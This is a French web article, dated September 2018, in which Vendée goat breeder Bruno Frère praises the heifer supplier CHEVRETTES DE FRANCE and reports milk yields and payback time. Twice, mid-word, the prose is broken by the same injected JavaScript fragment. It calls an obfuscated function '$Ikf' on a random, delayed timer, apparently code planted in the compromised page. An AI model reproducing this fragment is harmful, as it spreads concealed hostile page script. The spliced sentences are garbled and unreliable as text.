30 septembre 2018

Bruno FRÈRE un éleveur passionné de génétique

C’est au mois de juin 2011 que Bruno FRERE, éleveur caprin dans le sud Vendée depuis plus de 20 ans, a contacté pour la première fois CHEVRETTES DE FRANCE, pour l’achat d’animaux.

Travaillant la génétique caprine depuis ses débuts avec de très bonnes productions, il souhaitait ramener de nouvelles lignées dans son cheptel et surtout ré-accélérer la progression de son niveau génétique : «ce travail en interne peut prendre beaucoup d’années avec un coût important avant d’atteindre les objectifs que l’on se fixe. Jusqu’à présent, j’achetais tous les mâles chez des sélectionneurs, jusqu’à l’an dernier où j’ai décidé d’acheter de nouvelles chevrettes »

« Je connais CHEVRETTES DE FRANCE, car la structure est basée en Vendée ; elle a de plus en plus de notoriété dans le bassin Pays de Loire-Poitou Charente. Je sais que CHEVRETTES DE FRANCE s’approvisionne chez des éleveurs à très haut potentiel génétique, ce qui m’a incité à prendre contact avec eux. Le système de travail avec des pépinières d’élevage de 500 chevrettes de moyenne permet d’avoir un très large choix dans les animaux présents en élevage et surtout de me permettre de voir plusieurs lots provenant de naisseurs différents. Chaque origine de chevrettes a ses propres particularités (gabarit, phénotype, etc…). J’ai pu choisir le lot d’animaux dont les caractéristiques correspondent bien à mes besoins. Le jour où je suis allé choisir les animaux, j’ai été très agréablement surpris par l’application rigoureuse d’un protocole d’élevage que m’a présenté le technicien des pépinières. Après m’avoir présenté les différents lots de saanen disponibles, avec les différentes informations concernant les naisseurs (niveau d’index Capgènes; bilan contrôle laitier…), j’ai vraiment eu le coup de cœur sur un lot de chevrettes provenant d’un sélectionneur du Maine et Loire EARL LES CABRIS (Jean-Pascal BONSERGENT) qui est indexé à 2.9 ICC et une lactation validée à 1065 Kg ; des chevrettes trapues avec de beau gabarit, des profondeurs de poitrine exceptionnelles, de bons aplombs. Ma sélection des chevrettes dans ce lot s’est faite par la suite seulement sur le gabarit car j’avais déjà entendu parlé de ce naisseur, j’avais donc l’assurance du niveau génétique. Le tarif demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andé est justifié au vu de la qualité et du niveau génétique proposés ; je préfère acheter des animaux plus chers mais être certain de leur qualité génétique et sanitaire. En prenant des animaux sur le même site, l’équilibre sanitaire est déjà fait ; plus on multiplie les sites d’achat, plus on a de risques de ramener de nouvelles pathologies dans notre troupeau. Il ne faut pas voir un achat de chevrettes comme une dépense mais surtout comme un investissement pour nos performances futures. J’ai préféré raisonner pour mon achat sur un budget d’investissement global» nous témoigne Bruno FRERE. Quandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and les résultats du premier contrôle laitier sont tombés (4.6 Kg par chevrette achetée), que j’ai compris que mon investissement était très rentable. Je voyais bien qu’en préparation mises bas, les mamelles se développaient bien, mais je ne m’attendais pas à un 1er contrôle à ce niveau là. Dans ma conduite d’élevage, ce lot restera en lactation longue, car j’ai encore des primipares après un an de production à plus de 5 Kg (4.6 Kg de moyenne). En faisant mon bilan de l’année, j’arrive à une lactation de 1761 Kg en 350 jours, soit 1534 Kg à 305 jours. Avec cette production en 1ère lactation, mon retour sur investissement s’est fait sur 5 mois».